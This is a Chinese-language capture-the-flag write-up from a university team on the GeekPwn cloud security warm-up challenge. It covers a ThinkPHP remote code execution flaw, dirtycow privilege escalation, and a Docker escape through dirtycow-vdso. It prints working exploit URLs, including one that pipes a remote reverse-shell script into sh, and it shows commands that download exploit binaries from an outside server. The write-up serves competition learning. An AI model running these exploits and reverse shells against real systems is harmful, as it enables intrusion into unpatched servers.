本文作者:紫荊花
GeekPwn 與騰訊安全聯合發起的“雲安全挑戰賽”線上熱身賽已經落下帷幕。
經過 48 小時的比拼,Redbud025 戰隊以最快時間提交了最多正確答案,榮獲第一名。本期,我們也邀請到這支來自清華大學網路與資訊保安實驗室的 Redbud025 戰隊,為大家還原解題過程。
這次是首個基於真實雲平臺的雲安全挑戰賽,整個題目是提權和逃逸的不斷嘗試,總共有七個題目。
比賽環境覆蓋 APP, Docker, KVM 和 Pysical 各個層次,七個題目如下:
題目要求:
除測試題外,選手置身於一個模擬的雲環境中,選手的任務就是從這個僅有的 Web 介面,層層滲透,獲得更高的許可權,用於讀取指定的 flag 檔案。
1、Web 網頁測試題目
首先 Web 入口的題目的地址是→
http://user0022:dcc16fc2@121.12.172.119:30022/public/index.php
開啟後有個 base64 字串,解碼即可得到 flag。
2、APP 題目
題目資訊
小明選了學校的 Web 開發課程,學習了世界上最好的語言,女朋友想送他一本書作為生日禮物,她覺得《Thinking In PHP》不錯,可惜有點貴。選手的任務是幫小明女朋友找到存放在 /tmp/flag.lev2.txt 中的優惠碼。
可以知道題目地址是個 thinkphp 框架;直接 google 查詢 thinkphp 漏洞,發現
https://learnku.com/articles/21227 的漏洞可以成功利用,利用方式如下:
http://121.12.172.119:30022//?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]= 需要執行的命令
透過這個漏洞反彈 shell,EXP 如下:
http://121.12.172.119:30022//?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=curl+https%3A%2F%2Fshell.now.sh%2F154.223.145.173%3A1337+%7C+sh
執行 cat /tmp/flag.lev2.txt 得到 flag:flag{PHP_is_The_best_language_^^5578}
3、Docker 提權題目
題目資訊
小明又選了一門《作業系統設計與原理》的課程,但是小明有個問題一直很疑惑,他區分不出特權使用者和普通使用者,選手能幫小明演示一下特權使用者嗎,例如幫小明讀取一下存在 /root/flag.lev3.txt 中的課後作業答案。
直接使用上面一步反彈 shell 是無法讀取 /root/flag.lev3.txt,因為許可權不夠。透過 whoami 可以看到是 centos 使用者,這個環節是需要提權。在伺服器 /tmp 目錄下下載 linux-exploit-suggester.sh,透過執行得到如下資訊:
sh ./linux-exploit-suggester.sh …….[+] [CVE-2017-16995] eBPF_verifier[+] [CVE-2016-5195] dirtycow[+] [CVE-2016-5195] dirtycow 2
伺服器存在髒牛漏洞,使用
https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679 POC。
下載 cowroot.c,在自己的伺服器編譯:
gcc cowroot.c -o cowroot -pthread
然後在 反彈shell 中下載:
curl -O http://154.223.145.173:8080/cowroot
執行得到 root 的 shell,從而可以順利讀取 /root/flag.lev3.txt 檔案得到 flag:flag{root_in_the_docker^^1256}
4、Docker 逃逸題目
題目資訊
小明同學在獲得了 root 許可權之後,他認為自己獲得了至高無上的許可權,非常開心的在 Linux 的世界中暢遊,直到他發現 /root/message 檔案中寫著這個世界的秘密。意識到自己只是在容器中游玩,小明非常想讓選手幫他看一下外面的風景,例如幫小明讀取一下存在容器外部 /tmp/flag.lev4.txt 中的秘密。
讀取 /root.message,其實沒什麼用就是告訴你:你在 Docker 裡面,外面是 KVM 虛擬環境,需要選手逃逸 Docker。
沒想到這題也是可以繼續用髒牛 POC,https://github.com/scumjr/dirtycow-vdso,即利用 dirtycow 核心漏洞修改 vdso,對核心宿主機程式進行 hook,造成 docker 逃逸。
在自己的伺服器編譯好,然後在目標機器執行:
curl http:// 你的伺服器 IP/0xdeadbeef -o 0xdeadbeefchmod +x 0xdeadbeef./0xdeadbeef 你的伺服器 IP: 埠
逃逸之後讀取 /tmp/flag.lev4.txt 得到 flag:flag{jump_outsize_of_your_own^^3356}
5、KVM 提權題目
題目資訊
小明同學已經被選手高超的技術所折服了,決定好好學習,勵志從事資訊保安行業,但是這時候交期末大作業的時候到了,小明嘗試了多次還是做不出來。小明非常想讓選手幫他讀取一下 /root/flag.lev5.txt 中的大作業答案。
這題本意是想考察提權,但是題目 4 的 Docker 逃逸出來的使用者有 root 許可權,直接可以檢視 /root/flag.lev5.txt 得到 flag:flag{root_is_very_powerfull^^4987}
題目 6 和題目 7 好像沒有隊伍做出來,題目 7 應該是個 0day 了。
參考連結
(連結可透過複製在瀏覽器中開啟)
https://github.com/mtalbi/vm_escape
https://david942j.blogspot.com/2018/09/write-up-tokyowesterns-ctf-2018.html
https://github.com/perfectblue/ctf-writeups/blob/master/RealWorldCTF-2018/kidvm.md
https://opensource.com/article/18/5/how-find-ip-address-linux
https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679
來自 GeekPwn 雲安全挑戰賽聯合主辦方雲鼎實驗室的溫馨提醒:
錯過線上熱身賽的童鞋不用難過,採用開放模擬雲端計算環境的第二階段開放賽將在7月陸續公佈開放環境資訊,供參賽隊伍研究。
這場再度開啟的雲端對決,主辦方將選出5-8支超強戰隊登上GeekPwn1024的舞臺,與國內頂級雲安全專家當面切磋交流。
期待你的加入。